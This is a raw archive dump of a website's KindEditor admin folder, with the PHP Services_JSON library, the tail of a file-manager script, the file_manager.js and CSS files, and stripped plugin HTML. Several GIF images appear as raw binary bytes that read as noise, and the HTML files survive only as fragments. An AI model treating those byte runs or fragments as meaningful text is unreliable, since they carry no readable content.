-1; } else { return 0; } } else if ($order == 'type') { return strcmp($a['filetype'], $b['filetype']); } else { return strcmp($a['filename'], $b['filename']); } } } usort($file_list, 'cmp_func'); $result = array(); //相对于根目录的上一级目录 $result['moveup_dir_path'] = $moveup_dir_path; //相对于根目录的当前目录 $result['current_dir_path'] = $current_dir_path; //当前目录的URL $result['current_url'] = $current_url; //文件数 $result['total_count'] = count($file_list); //文件列表数组 $result['file_list'] = $file_list; //输出JSON字符串 header('Content-type: application/json; charset=UTF-8'); $json = new Services_JSON(); echo $json->encode($result); ?> cheapuggsales.uk.com/admin_frad/kindeditor/php/JSON.php0000777000000000000000000010233611633550314022070 0ustar rootroot * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @version CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $ * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_SLICE', 1); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_STR', 2); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_ARR', 3); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_OBJ', 4); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_CMT', 5); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_LOOSE_TYPE', 16); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_SUPPRESS_ERRORS', 32); /** * Converts to and from JSON format. * * Brief example of use: * * * // create a new instance of Services_JSON * $json = new Services_JSON(); * * // convert a complexe value to JSON notation, and send it to the browser * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); * $output = $json->encode($value); * * print($output); * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] * * // accept incoming POST data, assumed to be in JSON notation * $input = file_get_contents('php://input', 1000000); * $value = $json->decode($input); * */ class Services_JSON { /** * constructs a new JSON instance * * @param int $use object behavior flags; combine with boolean-OR * * possible values: * - SERVICES_JSON_LOOSE_TYPE: loose typing. * "{...}" syntax creates associative arrays * instead of objects in decode(). * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. * Values which can't be encoded (e.g. resources) * appear as NULL instead of throwing errors. * By default, a deeply-nested resource will * bubble up with an error, so all return values * from encode() should be checked with isError() */ function Services_JSON($use = 0) { $this->use = $use; } /** * convert a string from one UTF-16 char to one UTF-8 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @param string $utf16 UTF-16 character * @return string UTF-8 character * @access private */ function utf162utf8($utf16) { // oh please oh please oh please oh please oh please if(function_exists('mb_convert_encoding')) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = (ord($utf16{0}) << 8) | ord($utf16{1}); switch(true) { case ((0x7F & $bytes) == $bytes): // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x7F & $bytes); case (0x07FF & $bytes) == $bytes: // return a 2-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xC0 | (($bytes >> 6) & 0x1F)) . chr(0x80 | ($bytes & 0x3F)); case (0xFFFF & $bytes) == $bytes: // return a 3-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xE0 | (($bytes >> 12) & 0x0F)) . chr(0x80 | (($bytes >> 6) & 0x3F)) . chr(0x80 | ($bytes & 0x3F)); } // ignoring UTF-32 for now, sorry return ''; } /** * convert a string from one UTF-8 char to one UTF-16 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @param string $utf8 UTF-8 character * @return string UTF-16 character * @access private */ function utf82utf16($utf8) { // oh please oh please oh please oh please oh please if(function_exists('mb_convert_encoding')) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch(strlen($utf8)) { case 1: // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return $utf8; case 2: // return a UTF-16 character from a 2-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x07 & (ord($utf8{0}) >> 2)) . chr((0xC0 & (ord($utf8{0}) << 6)) | (0x3F & ord($utf8{1}))); case 3: // return a UTF-16 character from a 3-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr((0xF0 & (ord($utf8{0}) << 4)) | (0x0F & (ord($utf8{1}) >> 2))) . chr((0xC0 & (ord($utf8{1}) << 6)) | (0x7F & ord($utf8{2}))); } // ignoring UTF-32 for now, sorry return ''; } /** * encodes an arbitrary variable into JSON format * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a strng, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encode($var) { switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = strlen($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var{$c}); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var{$c}; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var{$c}; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1})); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2})); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3})); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3}), ord($var{$c + 4})); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var{$c + 1}), ord($var{$c + 2}), ord($var{$c + 3}), ord($var{$c + 4}), ord($var{$c + 5})); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } // treat it like a regular array $elements = array_map(array($this, 'encode'), $var); foreach($elements as $element) { if(Services_JSON::isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ function name_value($name, $value) { $encoded_value = $this->encode($value); if(Services_JSON::isError($encoded_value)) { return $encoded_value; } return $this->encode(strval($name)) . ':' . $encoded_value; } /** * reduce a string by removing leading and trailing comments and whitespace * * @param $str string string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ function reduce_string($str) { $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @param string $str JSON-formatted string * * @return mixed number, boolean, string, array, or object * corresponding to given JSON input string. * See argument 1 to Services_JSON() above for object-output behavior. * Note that decode() always returns strings * in ASCII or UTF-8 format! * @access public */ function decode($str) { $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = substr($str, 0, 1); $chrs = substr($str, 1, -1); $utf8 = ''; $strlen_chrs = strlen($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = substr($chrs, $c, 2); $ord_chrs_c = ord($chrs{$c}); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs{++$c}; } break; case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) . chr(hexdec(substr($chrs, ($c + 4), 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs{$c}; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= substr($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str{0} == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = substr($str, 1, -1); $chrs = $this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = strlen($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = substr($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = substr($chrs, $top['where'], ($c - $top['where'])); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == SERVICES_JSON_IN_ARR) { // we are in an array, so just push an element onto the stack array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now $parts = array(); if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // "name":value pair $key = $this->decode($parts[1]); $val = $this->decode($parts[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; $val = $this->decode($parts[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { // found a quote, and we are not inside a string array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); //print("Found start of string at {$c}\n"); } elseif (($chrs{$c} == $top['delim']) && ($top['what'] == SERVICES_JSON_IN_STR) && ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { // found a quote, we're in a string, and it's not escaped // we know that it's not escaped becase there is _not_ an // odd number of backslashes at the end of the string so far array_pop($stk); //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '[') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); //print("Found start of array at {$c}\n"); } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs{$c} == '{') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); //print("Found start of object at {$c}\n"); } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } /** * @todo Ultimately, this should just call PEAR::isError() */ function isError($data, $code = null) { if (class_exists('pear')) { return PEAR::isError($data, $code); } elseif (is_object($data) && (get_class($data) == 'services_json_error' || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } } if (class_exists('PEAR_Error')) { class Services_JSON_Error extends PEAR_Error { function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { parent::PEAR_Error($message, $code, $mode, $options, $userinfo); } } } else { /** * @todo Ultimately, this class shall be descended from PEAR_Error */ class Services_JSON_Error { function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { } } } ?> cheapuggsales.uk.com/admin_frad/kindeditor/plugins/0000777000000000000000000000000011633550314021470 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/plainpaste.html0000777000000000000000000000165511633550314024530 0ustar rootroot PlainPaste
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/advtable/0000777000000000000000000000000011633550314023252 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/advtable/advtable.html0000777000000000000000000001732311633550314025733 0ustar rootroot Table
  •    
  •    
  •    
  •    
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/link/0000777000000000000000000000000011633550314022425 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/link/link.html0000777000000000000000000000434511633550314024261 0ustar rootroot Link
  •  
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/flash.html0000777000000000000000000000327611633550314023466 0ustar rootroot Flash
  •   px
  •   px
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/wordpaste.html0000777000000000000000000000263111633550314024373 0ustar rootroot WordPaste
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/media.html0000777000000000000000000000354711633550314023451 0ustar rootroot Media
  •   px
  •   px
  •  
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/about.html0000777000000000000000000000214211633550314023472 0ustar rootroot About
cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/0000777000000000000000000000000011633550314024101 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/images/0000777000000000000000000000000011633550314025346 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/images/go-up.gif0000777000000000000000000000106211633550314027066 0ustar rootrootGIF89a cVv*Jw-V,\ $Hfy !B8WOt`n@d| /6elx*K{3aus̖oKh(J @p iÂ\s9Ml0]0YuY}lJn1T6ch{ؽ0Zn*JvuZ!JSu 8Y9`:c!L,LL@@-<9KH40*L.6%%G2 "))>J3B B#+1 "/7EI= =E0C;$'F(($9 AL5: 5!: ,@ػd" $~[;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/images/file-64.gif0000777000000000000000000000207711633550314027214 0ustar rootrootGIF89a@@333㌌tttkll𠤢xxxޑ浶׀Ž!#,@@pH,Ȥr9ШtJN/LaSzxCa®|N3ڨnx g{D}quplBjoQXYn\ddzk~vLʎsrڕsԙ不ɫZ6`AhE\nٟq^3j *[Br* GI r!3g'y2K@br8Dap yg* Z ZQBJjtBJYZsׯU*i_z [͟\+m oT_v UN߿RVϤykpѻb!(.nX3j? ەzxNJ=~9m0 'ِ`nPyyqHnu粳GOupPË/C>xۇԯ{ȟߥlhgubG &wܥ7ՃFA߂_0!yxAA|$w"1z1Be" a Qt0dE㌽8`X  0!`&6̑DYJ|`ApfT0X@XA6 i0.[`0\A|Ft,עR0@&Q-KۯŤ@@% 5`Jl=@"<JkQ,0lD;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/images/folder-16.gif0000777000000000000000000000034211633550314027536 0ustar rootrootGIF89aJt*̅m֥٥A$J7Yݹ[А#.޲{(ӗ!,_&d)&f4fI p,چ(>&ü$LL%%= HPB 6XÇ#JHB4Р# CII76p%0cʜIM-Y"yϟ5s"(H4 FJJeUjʵׯ`^EAذhӪ:V ke{ ˷߿a +^ DHeE`(yϠCMtE"t6ͺљ#Xmؓk;{0Aȓ+_μs!i؛nqdI-OX2xw Ȑ&@Ͽ@~ /F(Vh@0 ;h (!$b H88BbB(dh  4PF)TR递;`)dif\!6؀p)ti8 lc*蠄j6l Ib'F*餔Nj)IrDΧ'r?t:˪ꫭ*뮼ʫ? ? &*?X 5DpѴVkf;l  h+R7rC 3@+k3  @l' +L \` Tl!gs/0 ,$l(,";cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/images/file-16.gif0000777000000000000000000000025211633550314027202 0ustar rootrootGIF89aĽޙ㨪! ,WpIL#|`[ }"HRyo, W HPai (IM <( (T0XQ $;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/file_manager.js0000777000000000000000000001640711633550314027063 0ustar rootrootvar JSON_URL = '../../php/file_manager_json.php'; var KE = parent.KindEditor; location.href.match(/\?id=([\w-]+)/i); var id = RegExp.$1; var fileManagerJson = (typeof KE.g[id].fileManagerJson == 'undefined') ? JSON_URL : KE.g[id].fileManagerJson; var lang = KE.lang.plugins.file_manager; KE.event.ready(function() { var moveupImg = KE.$('moveupImg', document); var moveupLink = KE.$('moveup', document); var viewType = KE.$('viewType', document); var orderType = KE.$('orderType', document); var listTable = KE.$('listTable', document); var viewTable = KE.$('viewTable', document); var listDiv = KE.$('listDiv', document); var viewDiv = KE.$('viewDiv', document); moveupImg.alt = moveupImg.title = lang.moveup; viewType.options[0] = new Option(lang.viewImage, 'VIEW'); viewType.options[1] = new Option(lang.listImage, 'LIST'); orderType.options[0] = new Option(lang.fileName, 'NAME'); orderType.options[1] = new Option(lang.fileSize, 'SIZE'); orderType.options[2] = new Option(lang.fileType, 'TYPE'); var changeType = function(type) { if (type == 'VIEW') { listDiv.style.display = 'none'; viewDiv.style.display = ''; } else { listDiv.style.display = ''; viewDiv.style.display = 'none'; } }; var insertLink = function(url) { var stack = KE.g[id].dialogStack; if (stack.length > 1) { var parentDialog = stack[stack.length - 2]; var dialogDoc = KE.util.getIframeDoc(parentDialog.iframe); KE.$('url', dialogDoc).value = url; var currentDialog = stack[stack.length - 1]; currentDialog.hide(); return true; } else { return false; } } var insertImage = function(url, title) { if (!insertLink(url)) { KE.util.insertHtml(id, '' + title + ''); } }; var insertFile = function(url, title) { if (!insertLink(url)) { KE.util.insertHtml(id, '' + title + ''); } }; var makeFileTitle = function (filename, filesize, datetime) { var title = filename + ' (' + Math.ceil(filesize / 1024) + 'KB, ' + datetime + ')'; return title; }; var bindTitle = function (el, data) { if (data.is_dir) { el.title = data.filename; } else { el.title = makeFileTitle(data.filename, data.filesize, data.datetime); } }; var bindEvent = function (el, result, data, createFunc) { var fileUrl = result.current_url + data.filename; fileUrl = KE.format.getUrl(fileUrl, 'absolute'); if (data.is_dir) { el.onclick = (function (url, path, title) { return function () { reloadPage(path, orderType.value, createFunc); } })(fileUrl, escape(result.current_dir_path + data.filename + '/'), data.filename); } else if (data.is_photo) { el.onclick = (function (url, title) { return function () { insertImage(url, title); } })(fileUrl, data.filename); } else { el.onclick = (function (url, title) { return function () { insertFile(url, title); } })(fileUrl, data.filename); } }; var createCommon = function(result, createFunc) { if (result.current_dir_path) { moveupLink.onclick = function () { reloadPage(result.moveup_dir_path, orderType.value, createFunc); }; } else { moveupLink.onclick = null; } var onchangeFunc = function() { changeType(viewType.value); if (viewType.value == 'VIEW') reloadPage(result.current_dir_path, orderType.value, createView); else reloadPage(result.current_dir_path, orderType.value, createList); }; viewType.onchange = onchangeFunc; orderType.onchange = onchangeFunc; }; var createList = function(responseText) { listDiv.innerHTML = ''; var result = KE.util.parseJson(responseText); createCommon(result, createList); var table = KE.$$('table', document); table.className = 'file-list-table'; table.cellPadding = 0; table.cellSpacing = 2; table.border = 0; listDiv.appendChild(table); var fileList = result.file_list; for (var i = 0, len = fileList.length; i < len; i++) { var data = fileList[i]; var row = table.insertRow(i); row.onmouseover = function () { this.className = 'selected'; }; row.onmouseout = function () { this.className = 'noselected'; }; var cell0 = row.insertCell(0); cell0.className = 'name'; var iconName = data.is_dir ? 'folder-16.gif' : 'file-16.gif'; var img = KE.$$('img', document); img.src = './images/' + iconName; img.width = 16; img.height = 16; img.align = 'absmiddle'; img.alt = data.filename; cell0.appendChild(img); cell0.appendChild(document.createTextNode(' ' + data.filename)); if (!data.is_dir || data.has_file) { row.style.cursor = 'pointer'; img.title = data.filename; cell0.title = data.filename; bindEvent(cell0, result, data, createList); } else { img.title = lang.emptyFolder; cell0.title = lang.emptyFolder; } var cell1 = row.insertCell(1); cell1.className = 'size'; cell1.innerHTML = data.is_dir ? '-' : Math.ceil(data.filesize / 1024) + 'KB'; var cell2 = row.insertCell(2); cell2.className = 'datetime'; cell2.innerHTML = data.datetime; } }; var createView = function(responseText) { viewDiv.innerHTML = ''; var result = KE.util.parseJson(responseText); createCommon(result, createView); var fileList = result.file_list; for (var i = 0, len = fileList.length; i < len; i++) { var data = fileList[i]; var div = KE.$$('div', document); div.className = 'file-view-area'; viewDiv.appendChild(div); var tableObj = KE.util.createTable(document); var table = tableObj.table; table.className = 'photo noselected'; table.onmouseover = function () { this.className = 'photo selected'; }; table.onmouseout = function () { this.className = 'photo noselected'; }; var cell = tableObj.cell; cell.valign = 'middle'; cell.align = 'center'; var fileUrl = result.current_url + data.filename; var iconUrl = data.is_dir ? './images/folder-64.gif' : (data.is_photo ? fileUrl : './images/file-64.gif'); var img = KE.$$('img', document); img.src = iconUrl; img.width = data.is_dir ? 64 : 80; img.height = data.is_dir ? 64 : 80; img.alt = data.filename; if (!data.is_dir || data.has_file) { table.style.cursor = 'pointer'; bindTitle(img, data); bindTitle(table, data); bindEvent(table, result, data, createView); } else { img.title = lang.emptyFolder; table.title = lang.emptyFolder; } cell.appendChild(img); div.appendChild(table); var titleDiv = KE.$$('div', document); titleDiv.className = 'name'; titleDiv.title = data.filename; titleDiv.innerHTML = data.filename; div.appendChild(titleDiv); } }; var httpRequest = function (param, func) { KE.util.showLoadingPage(id); var req = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); var url = fileManagerJson; url += param; url += (url.match(/\?/) ? "&" : "?") + (new Date()).getTime() req.open('GET', url, true); req.onreadystatechange = function () { if (req.readyState == 4) { if(req.status == 200) { func(req.responseText); KE.util.pluginLang('file_manager', document); KE.util.hideLoadingPage(id); } } }; req.send(null); }; var reloadPage = function (path, order, func) { httpRequest('?path=' + path + '&order=' + order, func); }; changeType('VIEW'); viewType.value = 'VIEW'; reloadPage('', orderType.value, createView); }, window, document);cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/file_manager.css0000777000000000000000000000171311633550314027231 0ustar rootrootbody { font-size:12px; font-family: "sans serif",tahoma,verdana,helvetica; margin: 0; padding: 0; background-color:#F0F0EE; overflow: hidden; } td { font-size:12px; } .top { background-color:#F0F0EE; } .file-view { overflow: scroll; background-color:#FFFFFF; width: 500px; height: 370px; } .file-view-area { float:left; border: 1px solid #FFFFFF; margin: 5px; } .file-view-area .photo { width: 100px; height: 100px; margin: 3px; } .file-view-area .name { margin: 2px; text-align: center; overflow: hidden; width: 100px; height: 16px; } .selected { border: 1px solid #888888; background-color: #F0F0EE; } .noselected { border: 1px solid #DDDDDD; background-color: #FFFFFF; } .file-list { overflow: scroll; background-color:#FFFFFF; width: 500px; height: 370px; } .file-list-table { width: 95%; } .file-list-table .name { width: 55%; } .file-list-table .size { width: 15%; } .file-list-table .datetime { width: 30%; text-align: center; }cheapuggsales.uk.com/admin_frad/kindeditor/plugins/file_manager/file_manager.html0000777000000000000000000000166611633550314027414 0ustar rootroot File Manager
